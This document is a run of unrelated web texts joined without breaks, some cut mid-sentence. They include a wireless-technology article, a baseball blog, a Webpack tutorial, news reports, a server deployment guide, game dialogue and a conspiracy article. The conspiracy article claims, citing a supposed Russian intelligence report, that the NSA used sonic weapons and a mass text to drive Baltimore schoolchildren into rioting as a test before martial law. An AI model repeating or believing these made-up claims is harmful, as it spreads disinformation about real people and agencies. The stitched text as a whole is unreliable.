home devices to create their own high-speed mobile data networks. This new version of LTE is being developed and tested by mobile chip company Qualcomm and is called MuLTEfire. It encodes data in the same way as the LTE technology used by cellular networks today, but is designed to be used over the same part of the radio spectrum as Wi-Fi and has roughly the same range. The company says it can provide faster, less glitchy connections than Wi-Fi because LTE was developed for cellular networks where performance and reliability is more crucial. MuLTEfire opens new possibilities because the radio bands that Wi-Fi uses are not reserved for the exclusive use of any company. LTE is used today only by cellular networks on radio bands licensed from governments at costs of millions or billions of dollars. MuLTEfire is also different in that — as with Wi-Fi — a MuLTEfire hotspot can serve any device, regardless of which cellular carrier it is a subscriber to. Matt Grob, Qualcomm's chief technology officer, says his company's proposal could help satiate people's still-growing demands for mobile data, and allow alternatives to conventional cellular networks to appear. Qualcomm's proposal is a more radical extension of a technology called LTE-U that is just beginning to be tested by the telecom industry. It allows cellular operators but no one else to use LTE in Wi-Fi bands. Grob says MuLTEfire is more useful because a hotspot can serve any person's device and be set up by companies that don't own spectrum. He expects companies such as McDonalds that operate public Wi-Fi networks to install MuLTEfire hotspots to provide their customers faster and more reliable connections. Grob predicts the technology will also be attractive to cable Internet providers and computing companies such as Google and Amazon that have shown an interest in trying to create networks that compete with those of cellular operators. Last summer, Comcast switched 150,000 cable boxes in Houston into one giant network to offer Internet connectivity to any Comcast customer's phone or computer. Google recently launched a low-cost cellular plan, called Project Fi, that hops opportunistically between Wi-Fi and the networks of Sprint and T-Mobile (see "Google's New Wireless Service Should Make Verizon and AT&T Squirm"). Plans like those would be easier to pull off with MuLTEfire, says Grob. It inherits features from LTE's cellular heritage that are designed to minimize interference and allow devices to smoothly hop between different base stations. "If your plan is to stick together resources and make a ubiquitous network, you care about performance and need a little more fidelity," he says. Phil Marshall, at telecom analyst Tolaga Research, in Newton, Massachusetts, says using MuLTEfire for schemes like that is plausible. It would increase competition for existing cellular network operators and potentially be good for consumers. "You're creating a means for players to start offering competing services without necessarily having spectrum licenses," he says. Marshall predicts that venues such as shopping malls, airports, and stadiums would be likely to install their own MuLTEfire hotspots to improve coverage nearby. Cell networks already put small base stations in such places, but each can only serve customers of one network. If an airport rolled out MuLTEfire hotspots, it could serve anyone — although perhaps only if their cellular provider had paid to get its customers access. Cell networks could have a lot of gain from deals like that — and from rolling out their own MuLTEfire hotspots, says Marshall. They sometimes have to partner with competitors to provide coverage in places they don't have much spectrum or infrastructure. Being able to use MuLTEfire could reduce the need for such arrangements. However, Qualcomm's proposal still has a ways to go. MuLTEfire will need the stamp of a wireless standards body before Qualcomm or anyone else can start building chips or other hardware to support the technology. This article originally published at MIT Technology Review hereOn Thursday, Anthony Recker made his first start since being recalled from Las Vegas. He went 1-for-2 with a HR and 2 BB and he did a fine job working behind the plate with Carlos Torres. The Mets had a laugher, as they downed the Phillies, 11-3, to earn a split of the four-game series. The win upped the Mets’ record this season with Recker starting behind the plate to 17-11 (.607). In games started by the other two catchers, the Mets are 43-61 (.413). Are 28 games enough to make any firm conclusions? Over one season, no probably not. But it’s at least enough to make us sit up and take notice and give Recker’s stats another look. He’s still on the Interstate with his AVG (.198) but he has a higher OPS than Ike Davis (.675 vs..652) even with Davis’ walk-fueled resurgence since his recall from Triple-A. Recker also has a higher OPS than Buck, who finished his Mets career with a.652 mark. It’s harder to quantify their defensive impacts, as Recker did not get a chance to catch the team’s best pitcher all season. The one hurler they came close to catching an equal amount was Jeremy Hefner. With Buck behind the plate for 303 batters faced, Hefner had an.876 OPS against. Recker was behind the plate for 253 batters faced and Hefner had a.613 OPS against. Most everyone agrees that they would welcome Buck back as a backup for 2014 if he would accept the position. But outside of a highly visible – perhaps premeditated – display of affection towards Matt Harvey, there’s little concrete evidence to point at which indicates Buck would be better than Recker. No one questions Buck’s mentorship skills. But that’s why we have coaches. At some point, on-field production has to count for something. And Recker has produced enough in 2013 to merit a shot, with the Mets or some other club, for a full season on a major league roster. A ROLL OF THE DICE – The Mets took a low-risk gamble when they signed Daisuke Matsuzaka to replace the injured Harvey in the rotation. Matsuzaka has pitched better than his 8.68 ERA would indicate but a high strikeout rate only goes so far when you have a 1.821 WHIP. Hopefully, he gets one more start to show something or else they pull the plug on the experiment. Another bad outing would put him among the worst SP in franchise history. There are two hurlers who pitched exclusively as starters with a minimum of 10 IP in a season who posted a double-digit ERA for the Mets. Jason Vargas – yeah, that one – had a 12.19 ERA in 2007 while Jason Jacome recorded a 10.29 ERA in 2005. Only two other pitchers in club history met these requirements and had an ERA over eight: Jose Lima (9.87) and Dennis Springer (8.74). Matsuzaka currently sits with 9.1 IP and an 8.68 ERA. DAVIS TURNS WALKS INTO A SACRAMENT – Since his return from the minors, Davis has a 22.6 BB% and has been praised for not swinging at bad pitches. The combination of this other-worldly walk rate and a.348 BABIP has led to an.858 OPS for Davis since his return from Las Vegas. Some consider Davis “cured” of the miseries that overwhelmed him in the first half of the year. However, in his last 10 games, his walk rate has dropped to merely a 14.7 BB% (a rate which would tie for second-best in the majors among qualified hitters) and his OPS sits at.668 in this brief span. Even more alarming is the return of the strikeouts. Davis has nine whiffs in his last 34 PA. Immediately preceding that stretch, Davis needed 62 PA to record nine strikeouts. RUMORS CIRCULATE THAT WARTHEN WILL RETURN IN ’14 – What do Scott Atchison, Josh Edgin, Jeurys Familia, Harvey, Hefner, Shaun Marcum, Jenrry Mejia. Jonathon Niese, Bobby Parnell and Johan Santana all have in common? All 10 of those pitchers spent time on the disabled list in 2013. Hey, it happens – pitchers get hurt and it’s not fair to blame the pitching coach or the medical staff. While it’s not fair to blame them, it is reasonable to ask what they have planned to reduce the risk in 2014. BROWN MAKES CASE FOR MORE PLAYING TIME – Six times this month, Andrew Brown has received just 1 PA in a game and he’s 3-for-5 with a double and a walk. He’s not doing too bad when he gets multiple PA, either, as he’s 11-for-33 in those situations with two doubles and two homers. Yet Brown still struggles for playing time, as Terry Collins continues to write Eric Young’s name into the starting lineup. After a hot start with the Mets, Young’s numbers now bear an uncanny resemblance to his lifetime marks. His New York line of.255/.329/.335 is nearly identical to his lifetime marks of.260/.329/.340 – this is who Young is as a hitter. Young’s presence removes the question of who to bat leadoff for the club but Collins should bite the bullet, give Brown more playing time and find another hitter with an OBP north of.300 to bat from the leadoff spot. LOVE THOSE LEFTY RELIEVERS! – All season long the Mets have deployed two lefty relievers and with the recent promotion of Robert Carson, Collins now has three lefties at his disposal. Don’t be surprised if another one is added once rosters expand in September. Here’s how the lefty relievers have done here in 2013: IP – 106 ERA – 4.58 HR – 13 BB – 50 Ks – 74 FIP – 4.94 Collins manages his entire bullpen to maximize the effectiveness of his lefty relievers and they repay him with a 4.58 ERA while their peripherals paint an even bleaker picture. Meanwhile, righty relievers have a 3.62 ERA for the Mets this season. While Collins does an excellent job of getting his lefty relievers to face as many lefty batters as possible, they still have to face righty batters. And with the exception of Josh Edgin, these lefty relievers have been just dreadful versus RHB. Here’s how they stack up without the platoon advantage: Scott Rice –.939 OPS Aaron Laffey – 1.002 OPS Carson – 1.087 OPS Pedro Feliciano – 1.800 OPS The price of carrying these lefty relievers is that every righty batter they face becomes as productive as Carlos Gonzalez, the guy we dream about acquiring for our lineup. The tradeoff isn’t working and hasn’t worked for the Mets the previous two seasons, either. How much longer will this failed policy decision be allowed to continue? Share this: Email Facebook Print Reddit Twitter More Pinterest LinkedIn Tumblr GoogleThe recipe for setting up SSR in the official Redux docs are good but it lacks one thing: It doesn’t describe how to use Webpack for creating a bundle of the server side code. There are boilerplate projects that do it, but they usually do a million other things as well so it’s complex to understand how it works. Follow this step by step tutorial and learn how to use Webpack 2 to create a bundle of your server code. I have created a Github repository with a fully working implementation from this tutorial. I suggest to git clone it and run it locally while reading this post. If you found it valuable I appreciate if you star it in Github 🙂 1. Create Webpack server config Open up your webpack.config.js and duplicate your existing client config and name it “server”. We are going to keep both the client and the server config in the file webpack.config.js. Before: const client = { // Existing webpack config } module.exports = client; After: const client = { // Existing webpack config } const server = { // Existing webpack config } module.exports = [client, server]; 2. Go through your new Webpack server config Configure the entry section. Set the file name of the server code, for example server.js Configure the output section. Set the filename and path. Go through all plugins in the plugins section. Which ones makes sense on the backend? You can remove plugins used for code splitting, uglifyjs, etc. 3. Add node as target We must tell Webpack that we are bundling node code by setting target to node. const server = {.. target: "node",.. } 4. Ignore node_modules We are going to use webpack-node-externals, to ignores files in node_modules folder. First, install it. npm install --save-dev webpack-node-externals Import it by adding this to the top of your webpack.config.js file: const nodeExternals = require('webpack-node-externals'); Then add it to your server config. const server = {.. externals: [nodeExternals()],.. } 4. Configure source maps (optional) If you followed all steps up to this point, you should now have a fully working Webpack config for your server code. Try it and make sure it works before moving on! This step is optional, but I recommend to set this up for production use. The reason we want source maps is that we want stack traces to show file names and line number from our original files, not our generated bundle. First, we need to tell Webpack to generate the source maps: const server = {.. devtool: "source-map",.. } Then we need to use the source maps in our bundle. Install source-map-support npm install --save-dev source-map-support And then add this to the plugin section of your newly created server config: const server = {.. plugins: [.. new webpack.BannerPlugin({ banner:'require("source-map-support").install();', raw: true, entryOnly: false }) ],.. } We are done Did you get stuck somewhere? Please don’t hesitate to email me or tweet me and I will help you! Webpack is a little bit tricky and sometimes so it’s useful with help when getting stuck.Power Players Ron Paul doesn’t miss much about being in Congress. The retired Texas Republican congressman and presidential candidate tells “Power Players” he’s relieved to no longer have to book his flights based on House Speaker John Boehner’s schedule and has left the “political shenanigans” of Washington behind. Paul, who serves as the chairman of the libertarian advocacy group Campaign for Liberty, which was born out of his presidential campaign, says he now gets to focus on the issues of “economics, noninterventionist foreign policy, and personal civil liberties” that he’s “been trying to talk about for 30 years.” “We have a revolution going on now,” Paul says. “It's an intellectual revolution. It isn't this political shenanigans that everyone wants to talk about.” Asked what the chances are that there will be another Paul presidential campaign in 2016, with his son Sen. Rand Paul, R-Ky., as the candidate, Paul says he hasn’t talked to his son about the possibility of a presidential campaign. “Well, you'll have to ask him,” Paul says. And he jokingly adds, “It just doesn't look like I would be the likely candidate in 2016.” The Campaign for Liberty recently stoked rumors that the younger Paul is considering a run for president in 2016 following the defeat of his Senate bill that called for halting U.S. aid to Egypt. The bill failed by an 83-13 vote, and Ron Paul’s group singled out Sen. Marco Rubio, R-Fla., another rumored 2016 candidate, calling his vote against the bill “disgraceful” in a written statement. Paul acknowledged that “some people might say” it was a defense of his son, but that the point of the statement was instead to draw attention to what he sees as a failed U.S. foreign policy in Egypt. “We prop up a dictator, he gets kicked out, so we prop up an election; they elect their own people, so we kick him out, we have a military coup, and we don't stop weapons,” Paul says of Egypt. “So that is the point.” On the topic of the recent NSA surveillance leaks, Paul says it is “horrible” but that it came as no surprise to him. “They’ve been doing this for years,” Paul says of the government. “I've been complaining about them spying on us for 30 years. So it shouldn't surprise anybody about what they're doing to us.” For more of the interview with Paul, including why he says the recent back-and-forth between his son and New Jersey Gov. Chris Christie is “irrelevant,” check out this episode of “Power Players.” ABC's Betsy Klein, Pat O'Gara, Wayne Boyd, and David Girard contributed to this episode.COOK COUNTY CRIMINAL COURTHOUSE — Prosecutors have charged an 18-year-old Jefferson Park man with murder after he fatally shot his 17-year-old brother. The siblings, Brad and Ryan Nicholson, were arguing inside their bedroom about 3 p.m. Friday when their parents heard "a single loud sound," Assistant State's Attorney Jennifer Walsh said during a bond hearing Monday. Brad Nicholson, 18, began to scream, she said. According to prosecutors, Brad Nicholson had shot his brother, 17-year-old Ryan Nicholson, once in the head with a loaded.45 caliber handgun that was in the bedroom. It's not clear why the gun was in the room. Brad Nicholson later told police the gun belonged to him, but he did not have a valid FOID card, court records show. Ryan Nicholson suffered one through-and-through gunshot wound in his hand and an entrance wound in his head, Walsh said. Authorities recovered a bullet in the boy's brain, she added. Prosecutors argued that Ryan Nicholson had been holding his hand in front of his face "in a defensive posture" when he was shot. The bullet went through the boy's hand, Walsh argued, and lodged in his head. But Assistant Public Defender Lisa Bream said Brad and Ryan Nicholson were struggling over the gun when it accidentally went off. As Bream stood before Cook County Judge Donald Panarese Jr. on Monday, she pointed to Brad Nicholson's face, to bruises around his eye, and said they were consistent with a struggle. "This is a horrible family tragedy," Bream said, noting that Brad Nicholson had no criminal record, and both of his parents were in court to support him. Tears streamed down his mother's face Monday as attorneys recounted facts for the judge. According to an arrest report, Brad Nicholson hid the gun after the fatal shooting. Police later recovered the.45 caliber semiautomatic weapon, and Nicholson admitted ownership, the report said. Brad Nicholson, of the 5100 block of North Austin Avenue, was arrested Friday and charged with first-degree murder. On Monday, Judge Panarese ordered the teen held in lieu of $750,000 bail. For more neighborhood news, listen to DNAinfo Radio here:The building of Zaryadye Park (Зарядье) is a landmark initiative of the Moscow City Government and has commissioned an international competition to develop the site. Zaryadye will be the first public park built in Moscow for over 50 years. It stands alongside the development of Ground Zero in New York, the reconstruction of the Reichstag in Berlin and the competition for a new cultural district in West Kowloon, Hong Kong. International Design Competition for Zaryadye Park is a two-stage competition. The first stage is the Pre-qualification stage — six teams will be selected to participate in the second stage. The second stage is the Concept competition — selection of the winner and the finalists (second and third places). We are inviting architects, landscape architects and urban planners, who can bring together multidisciplinary teams of specialists in the fields of engineering, management of public spaces, entertainment industry, cultural programming, economy, sociology, anthropology, dendrology, ecology and wildlife management. The Zaryadye city district is just a minute’s walk from the Kremlin and the Red Square. Sitting on the most expensive land in the Russian capital, the site today is the largest wasteland in the heart of Moscow with huge development potential. Zaryadye will be the first public park built in Moscow for over 50 years, the last being the Soviet Friendship Park, built for the 1957 Festival of Youth and Students. Since then, the practice of landscape and garden design internationally has developed through several stages. Yet contemporary landscape design remains under-explored in Moscow, a city that otherwise reflects very European and modern developments in architecture, urban planning and consumption habits. The aim of this competition is to develop an architecture and landscaping design concept that will form the basis for the creation of a contemporary park with a high quality infrastructure that will be open for the public all year round. CLIENT \| Open Joint-Stock Company “Rossiya” PROMOTER \| State-owned unitary enterprise “NIiPI for the General Plan of the City of Moscow” CONSULTANT \| Strelka Institute for Media, Architecture and Design Find out more about the international design competition at the official Zaryadye Park Competition website IMAGE CREDIT \| © Институт медиа, архитектуры и дизайна “Стрелка” / Сергей Леонтьев © Institute for media, architecture and design Strelka / Sergey Leontiev Thanks to K E. who sent this competition link through World Landscape Architecture Linkedin GroupAs the morning sun rose high enough to burn off the chilly overnight temperatures, mesquite fires scattered throughout the Oak Flats Campground offered a warm welcome to a special day for Arizona’s San Carlos Apache tribe. Some 300 tribal members and supporters from across the country had gathered to protest the infringement of traditional Apache holy lands. There were Chippewa, Navajo, Lumbi, Pauite, Havasupai, and representatives of the National American Indian Movement and the National American Indian Veterans group, as well as non-indigenous supporters representing myriad concerns including those of environmentalists and other lovers of nature. All were furious at Congress’s sneaky transfer of sacred Apache land to a mining company and vowing to do what they could to see that it didn’t happen. “What was once a struggle to protect our most sacred site is now a battle,” said San Carlos Apache Tribal Chairman Terry Rambler, organizer of the grassroots movement aimed at stopping transfer of hundreds of acres of ceremonial land to those who would dig a mile-wide hole in the ground in a search for copper. RELATED: San Carlos Apache Would Get Biggest Shaft Ever in Copper Mine Land Swap San Carlos Apache Leader Seeks Senate Defeat of Copper Mine on Sacred Land Arizona’s Apache Tribe represents a culturally rich society with heritage tied to Mother Earth. As a people, they extend a Hon Dah welcome greeting to all who wish to share their culture and history. But now they are fighting to keep their holy lands culturally sacrosanct. “Our homelands continue to be taken away,” said former San Carlos Chairman Wendsler Nosie Sr., decrying what he termed the dirty way in which a land-swap rider had been attached to a must-pass bill that sailed through Congress and was signed into law by President Barack Obama. The amended legislation, with the support of Arizona Senator John McCain, was “an action that constitutes a holy war, where tribes must stand in unity and fight to the very end,” according to Nosie. The legislation that the former chairman termed “the greatest sin of the world” is the Southeast Arizona Land Exchange and Conservation Act, which gives a 2,400-acre tribally sacred site to a global mining entity, Resolution Copper, that wants to destroy its natural state with a massive mine intended to extract an ore body located 7,000 feet below ground level. That ground is hallowed to the Apache peoples whose reservation border is just east of the proposed mine at Oak Flat, home to Indigenous Peoples since prehistoric times, a place where acorns and medicinal herbs are gathered and coming-of-age ceremonies are held. Kicked off by earlier protests in both Tucson and outside Senator McCain’s Phoenix office, the multi-pronged awareness approach to mitigate the potential fate of Oak Flat picked up momentum via a two-day, 44-mile, march from the San Carlos tribal headquarters and culminated in a weekend-long Gathering of Nations Holy Ground Ceremony, “A Spiritual Journey to a Sacred Unity,” at Oak Flat. Following a holy ground blessing, the morning was filled with traditional, cultural and religious dances, with Rambler dancing and Wendsler joining the group of drummers. The weekend of solidarity was epitomized by guest speaker and activist preacher John Mendez. “What the system doesn’t know, what Resolution Copper doesn’t know, is there is nothing that can break our spirit and keep us from moving forward to victory,” Mendez told the assembled. “This is a protracted struggle, but if we stay true to task, we will win. A single flame can start a large fire, and we’ve created a fire that cannot be extinguished.” The Apache struggle has become part of the ongoing battle worldwide for Indigenous Peoples protecting sites that are sacred to them because of the places’ importance to both spiritual and physical survival. “This issue is among the many challenges the Apache people face in trying to protect their way of life,” Chairman Rambler told Indian Country Today. “At the heart of it is freedom of religion, the ability to pray within an environment created for the Apache. Not a manmade church, but like our ancestors have believed since time immemorial, praying in an environment that our creator god gave
12:~# ln -s../init.d/starman /etc/rc1.d/K20starman root@s12:~# ln -s../init.d/starman /etc/rc2.d/S20starman root@s12:~# ln -s../init.d/starman /etc/rc3.d/S20starman root@s12:~# ln -s../init.d/starman /etc/rc4.d/S20starman root@s12:~# ln -s../init.d/starman /etc/rc5.d/S20starman root@s12:~# ln -s../init.d/starman /etc/rc6.d/K20starman Once you launched starman you can access the web application on the same hostname but on port 5000: http://1.2.3.4:5000 Configure nginx as a proxy As user starman create the file /home/starman/nginx-demo.conf with the following content: examples/nginx-demo.conf server { location / { proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Host $http_host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://localhost:5000; } } Then exit from the user, and as root remove the default configuration file, create a symbolic link to from the nginx configuration directory to the nginx-demo.conf file. Restart nginx. root@s12:~# rm /etc/nginx/sites-enabled/default root@s12:~# ln -s /home/starman/nginx-demo.conf /etc/nginx/sites-enabled/ root@s12:~# service nginx restart Now you can visit http://1.2.3.4 replacing this with the IP address of your machine. Connecting a domain name If you already have a domain name registered, then you only need to configure it to make sure both www.domain.com and domain.com resolves to the IP address of your machine. If you don't yet have one, you can register a domain name and then configure it. No further changes are required to your configuration for this. Further development As you continue developing your application you will notice that the changes you make to files are not automatically reflected on the web site. This is normal. After all we just set up the deployment environment for your application. If you want the new code to take effect, you'll need to restart Starman. As root run: root@s12:~# service starman restart Enjoy the development!Hana Shae Pendergrast (Facebook photo) Boulder police are investigating the disappearance of Hana Shae Pendergrast, 17, who has been missing since Friday. According to the Facebook page "Help Find Hana Shae Pendergrast," she was last seen at the Boulder Transit Center mid-afternoon Friday. The page describes Hana, a former student at Boulder's New Vista High School and Longmont's St. Vrain Online Global Academy, as 5 feet, 6 inches and weighing 115 pounds. "The last time we saw her she had pink and black hair that was cut below her ears," the page's administrator posted. "She has pierced ears and usually wears several necklaces.... She is most likely wearing thick black glasses." "She has connections in Boulder, Longmont and Nederland, and may be in any of those communities or elsewhere. She has been known to camp in Nederland," the administrator also wrote.Home » Breaking News, North America, Suppression, Videos » NSA “Sonic-Wave” Weapon Use In Baltimore Horrifies Russia The Foreign Intelligence Service (SVR) states in a new report today that they were “horrified” over the use by the United States National Security Agency (NSA) of a powerful mass-psychology weapon against unsuspecting American citizens yesterday in Baltimore, Maryland, which caused these people, who were mostly school children, to erupt in a crazed frenzy of rioting, burning and looting. According to this report, the SVR was first alerted Sunday morning by signal intelligence analysts operating from the Federations Embassy in Washington D.C. that the NSA was in the process of completing their “final preparations” for a “mass event” believed to be scheduled for Monday, 27 April, in or around Baltimore. Raising the concerns of the SVR even more of what the NSA was planning, this report continues, were the presence of US Special Forces “provocateurs” within the crowds of Baltimore protectors Saturday evening agitating them towards violence. The presence of these US Special Forces “provocateurs” were noticed and commented on too by the former highly decorated New York City Police Detective Bo Dietl, who when being interviewed by the Fox News Service about the unrest in Baltimore stated about them: “And I saw — it’s just funny to see — these white guys, six-foot tall white guys with bandanas over their faces. They’re trying to hide their faces, what are they doing there?” As to why, indeed, these US military “provocateurs” were in Baltimore, this report notes, became apparent yesterday when over 85 NSA controlled Long Range Acoustic Device (LRAD) weapon vehicles left their main base at Fort Meade, Maryland, and began encircling this city. The LRAD vehicles deployed by the NSA around Baltimore yesterday, this report further explains, is a sonic weapon developed to send messages, warnings, and harmful, pain-inducing tones over longer distances than normal loudspeakers. LRAD systems have been used to counter piracy, as non-lethal crowd control weapons, and as communication devices too. Making these particular LRAD weapon vehicles deployed by the NSA around Baltimore even more dangerous, SVR analyst in this report say, was their “electronic signature” showing that they were equipped with a new technology developed by Raytheon in 2011 that produces a low-frequency sound which resonates with the respiratory tract, making it hard to breathe. According to Raytheon’s patent, the intensity of this sonic weapon could be increased from causing discomfort to the point where targets become “temporarily incapacitated”. Even more insidiously, this report says, were that these LRAD weapon vehicles were also supported by Raytheon acoustic police shields that operate in what is called a “cohort mode” in which many shields are wirelessly networked so their output covers a wide area, like Roman legionaries locking their shields together. One shield acts as a master which controls the others, so that the acoustic beams combine effectively. When the “target area” of Baltimore intended for this combined LRAD-sonic police shield “test” was surrounded by NSA-US military forces yesterday, this report grimly notes, all that remained was to insert the “test subjects” into this “electronic grid of madness”…who in this particular case happened to be school children. Eerily, SVR intelligence analysts note in this report, Baltimore Mayor Stephanie Rawlings-Blake, this past weekend, gave notice of her knowledge of what was going to occur during this NSA “test” when she told reporters that her police officers were instructed to allow protestors to express themselves and that “we also gave those who wished to destroy space to do that as well.” As to the exact mechanics of this horrific NSA “test” on Baltimore school children yesterday, this report continues, once the “target area” was encircled by LRAD-police shield sonic weapons, a mass NSA initiated text was sent to all of these school students via social media about a “purge” to take place at 3 p.m. when their school day ended, starting at Mondawmin Mall and ending downtown. Such memes have been known to circulate regularly among city school students, based on the film “The Purge,” about what would happen if all laws were suspended. And in order to ensure that all of these “test subjects” were kept in the “target area”, this SVR report says, once these students received the NSA text “purge” message and left their schools, all of the public transportation systems they relied on to get home were shut down. To the psychological effect of these school children being surrounded by these NSA sonic weapons and not allowed to go home, this report notes, was sadly predictable as all past examples in history have shown that these situations breed mass psychosis leading to extreme violence. As to why the NSA would conduct such a horrific “test” upon school children this SVR report notes several possibilities…the most probable being, they say, that what happened in Baltimore yesterday is associated with the massive unconventional war exercise being planned for the United States by the Obama regime called Jade Helm that many Americans believe is a prelude to the instituting of martial law. And to if the Obama regime is, in fact, planning to institute martial law in America, this report notes, SVR intelligence officials think it is more likely than not. The reason(s) for them believing this is so, interestingly, is not the NSA “test” in Baltimore, but rather a series of “embedded” subliminal messages beginning to show up on American television the past few weeks…including a new American Association for Retired Persons (AARP) commercial where in the background a public service announcement news report about “riots nationwide” and a declaration of martial law by government emergency services barely audibly says: “Riots nationwide have prompted local governments to declare martial law. The President is asking that citizens find safety and remain calm. Authorities are working to contain the outbreak.” Source Rate this item: 1.00 2.00 3.00 4.00 5.00 Submit Rating No votes yet. Please wait... RELATED ARTICLES Did you like this information? Then please consider making a donation or subscribing to our Newsletter.Description Alien Language English Language The warrior's nostrils flare as I approach. It inhales deeply and barks out what could be a warning. I hurriedly mime that I am peaceful, and know little of its kind or language. It takes a second to think, then suddenly grabs my multi-tool while barking again into my visor – streaking it with saliva. It's pointing at the indicator that shows which elements I carry. I do my best to keep calm. Biyedexoi ijintaixara! Luhun lazayugk! Huxianh enpowenn! Enxokaife qabgar aifen tinqiulo! Pathetic interloper! Give elements! Isotope preferred! Honourable warrior teach language! The warrior looks at me with fire in its eyes. This species is clearly aggressive, and I doubt I'm welcome, yet the lifeform bows in greeting. Tradition and honour perhaps dictate it. I don't feel in imminent danger, and am about to turn and leave when the creature points towards my multi-tool. It barks with concern, and makes a motion to suggest that I should hand it over. Poi! Dom ijintaixara objoie hab ezhejiuan! Dom ijeomchech Turpanq iaqun iki! Uwe oima bighesu urg! Grah! The interloper weapon is pathetic! The honourable Vy'keen pity you! I will replace it! The warrior is silent for a second, before looking at me conspiratorially. It looks behind to check for its colleagues, before powering down security systems. The warrior pulls open the trade vault at its feet, which seems to be piled high with multi-tool upgrades. It indicates the contents of my inventory as a trade... Yunnankanq ijintaixara. Itanglich? Umseosungqian agbasha. Ormaneium rudo zixin xoisa. Fangka gelantumbeint. Contraband interloper. Interested? Non-traceable payment. Products and cargo only. Units unacceptable. A red, jagged and recent bite mark is wrapped around the entirety of the warrior's neck. Claw marks have been dragged through its chest, and its suit's restoration and healing systems are blinking offline. The lifeform barks contentedly at me, satisfied with its narrow victory. It's clear, however, that its injuries are severe. It has trouble breathing. Lodingha sui nokang, ijintaixara! Oni aid tandumoluobu, ach naya Turpanq Luquang azay! Victory in battle, interloper! My suit malfunctions, but the Vy'keen Ancients smile! The downbeat lifeform is studying the image of another young warrior on its pad. The pictured warrior looks virile and impressive. It has facial tendrils that are outstretched. It appears rich, and of good breeding stock. The look in its eyes is... sultry. The lifeform looks to me with questioning eyes. It clearly needs someone to talk this through with. Poi! Mynuud gweihe gedinq ugourdoimao? Tiefa eragx oubusorc? Grah! Warrior accept mating proposition? Accept dowry tribute? The warrior is young, and looks terrified. Military orders for an upcoming operation fill its terminal screen. When it sees me its eyes widen, and it drops to the floor on its knees - proffers its multi-tool up towards me. Its yelps sound pleading. The fear in its movements are more than apparent. It's so on edge that it doesn't seem aware of the security cameras that surround us, watching its every move. Amba nemmob suzhreban name! Facaute Turpanq Arnan Quanbar chuai! Muxi xipiandenq objoie! New recruit abandon post! Desert Vy'keen High Command orders! Take multi-tool weapon! The warrior's nostrils flare in hope and expectation. A holographic image showing military plans appears around us. On one side of the battlefield stands the creature's own warrior race, and on the other the robotic Sentinels. The warrior demands that I point to one side or the other. Iazhoulin! Turpanq fushariqion? Ril mogya, ezhejiuan, gediangdogya Obinqiul fushariqion? Interloper! Vy'keen allegiance? Or vile, pathetic, weak-minded Sentinel allegiance? The warrior seems furious with itself. It slams its multi-tool onto a nearby surface and pulls the trigger again and again, but nothing happens. All weapons systems look functional, but their end result is nothing more than a hollow and empty click. The lifeform howls in self-loathing. Poi! Biyedexoi qabgar! Doxongqingy qabgar! Otong aojiangsuh anagjog! Grah! Pathetic warrior! Weak-minded warrior! Weapon ammunition depleted! The lifeform clicks its heels together in an authoritarian fashion, before plunging a syringe dripping with corrosive green liquid into my arm. Holographic images of two alien races appear in my visor – a small reptilian figure, and a taller lifeform in a metal casing. The warrior snarls at me, and its fingers hover over the injector – which can surely cause damage to life, limb or equipment. It begins its interrogation... Iazhoulin! Luhun Turpanq heangqinguka alet senguoliaod! Eojeaumu alet nicogliaozho, ibuqingc Turpanq nayugu! Interloper! Give Vy'keen interrogator enemy information! Sacrifice enemy friendship, receive Vy'keen reward! The warrior looks up from a screen of flashing alerts. It bares its teeth at me, and quivers with barely contained fury. It's clear that my presence is barely tolerated here. Its hand reaches to its weapon. Biyedexoi ijintaixara! Nehuitu! Mynuud pubu zehub yawsonq omariqi puerleg liuehn! Yaixa! Yaixa! Pathetic interloper! Leave! Warrior busy with facility security breach reports! Death! Death! The warrior's facial markings draw into a smirk as it looks me up and down. I feel like I'm being sized up as a potential combatant. The creature points to an intriguing blueprint on its screen, then points to its own face. I'm being goaded into punching it. The lifeform barks menacingly. It's clear that this action will result in swift retribution. Biyedexoi ijintaixara! Haqun xigcakamr rudo aqenzhu naya tisen Turpanq qabgar! Pathetic interloper! Show strength and attack the noble Vy'keen warrior!filmed on the first leg of the Give A Glimpse of What Yer Not tour by Otis Bperiod From O: “This song is one of my favorites from “Give A Glimpse Of What Yer Not.” It is everything amazing about Dinosaur Jr.: soft yet hard with J’s awesome sense of vocal melody and a heavy dose of guitar schralping! I shot the entire video live while on the most recent US tour, and in slow-mo and black and white to capture the way I see tour life. This is a very hardworking band – Dinosaur Jr. had no idea I was doing this, so what you see is very honest and all live, shot at many venues across the US with different types of cameras. “Knocked Around” is my take, and what I get from the song about being far away from family. The beginning of the video is my favorite section, with J’s son Rory guitar teching for J onstage. Lou’s sock dance/art is pretty rad, also. Thirty years after the start of this great band, they continue to release amazing albums – one right after the other.”WASHINGTON (Reuters) - The U.S. Department of Justice sued AT&T Inc (T.N) on Monday to block its $85.4 billion acquisition of Time Warner Inc TWX.N, saying the deal could raise prices for rivals and pay-TV subscribers while hampering the development of online video. The lawsuit is the first major challenge to a merger by the administration of U.S. President Donald Trump, who has repeatedly criticized Time Warner’s CNN news unit and announced his opposition to the deal before the election last year, saying it would concentrate too much power in AT&T’s hands. The Justice Department is arguing that AT&T would use Time Warner’s films and movies to force rival pay-TV companies to pay “hundreds of millions of dollars more per year for Time Warner’s networks” in the lawsuit filed late Monday in federal court in Washington. The government cited documents where AT&T and its satellite broadcast unit DirecTV described the traditional pay-TV model as a “cash cow” and “golden goose,” suggesting customers were at risk of price hikes. The 23-page complaint also said the deal would slow the industry’s transition to online video and other new distribution models. AT&T, which sees the deal as a way to compete against emerging technology companies such as Netflix Inc (NFLX.O) and Amazon.com Inc’s (AMZN.O) Prime Video, described the lawsuit as “a radical and inexplicable departure from decades of antitrust precedent.” AT&T head lawyer David McAtee said vertical mergers, between companies on different steps in a supply chain, are routinely approved. “We see no legitimate reason for our merger to be treated differently,” said McAtee, adding that AT&T is confident a judge will reject the Justice Department’s case. The Obama administration approved a similar vertical deal in 2011 to allow cable company Comcast Corp (CMCSA.O) to acquire NBCUniversal. AT&T Inc is prepared to go to trial as soon as possible, lead trial counsel Daniel Petrocelli, a partner at O’Melveny & Myers, told reporters on Monday. The legal challenge ramps up hostilities after AT&T rejected the Justice Department’s demand earlier this month to divest DirecTV or Time Warner’s Turner Broadcasting - which contains news network CNN - in order to win antitrust approval. The move may be a sign that the Trump administration will look closely at other big mergers. Time Warner’s shares 